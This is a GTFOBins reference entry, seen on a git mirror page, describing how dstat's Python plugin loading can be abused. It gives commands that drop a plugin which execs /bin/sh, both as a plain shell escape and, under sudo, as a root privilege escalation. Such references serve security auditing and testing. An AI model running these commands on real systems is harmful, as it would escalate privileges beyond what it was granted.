1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00
GTFOBins.github.io/_gtfobins/dstat.md

22 lines
663 B
Markdown
Raw Normal View History

---
description: |
2023-02-11 19:17:32 +01:00
`dstat` allows you to run arbitrary [`python`](/gtfobins/python/) scripts loaded as "external plugins" if they are located in one of the directories stated in the `dstat` man page under "FILES":
1. `~/.dstat/`
2. `(path of binary)/plugins/`
3. `/usr/share/dstat/`
4. `/usr/local/share/dstat/`
Pick the one that you can write into.
functions:
shell:
- code: |
mkdir -p ~/.dstat
echo 'import os; os.execv("/bin/sh", ["sh"])' >~/.dstat/dstat_xxx.py
dstat --xxx
sudo:
- code: |
echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_xxx.py
sudo dstat --xxx
---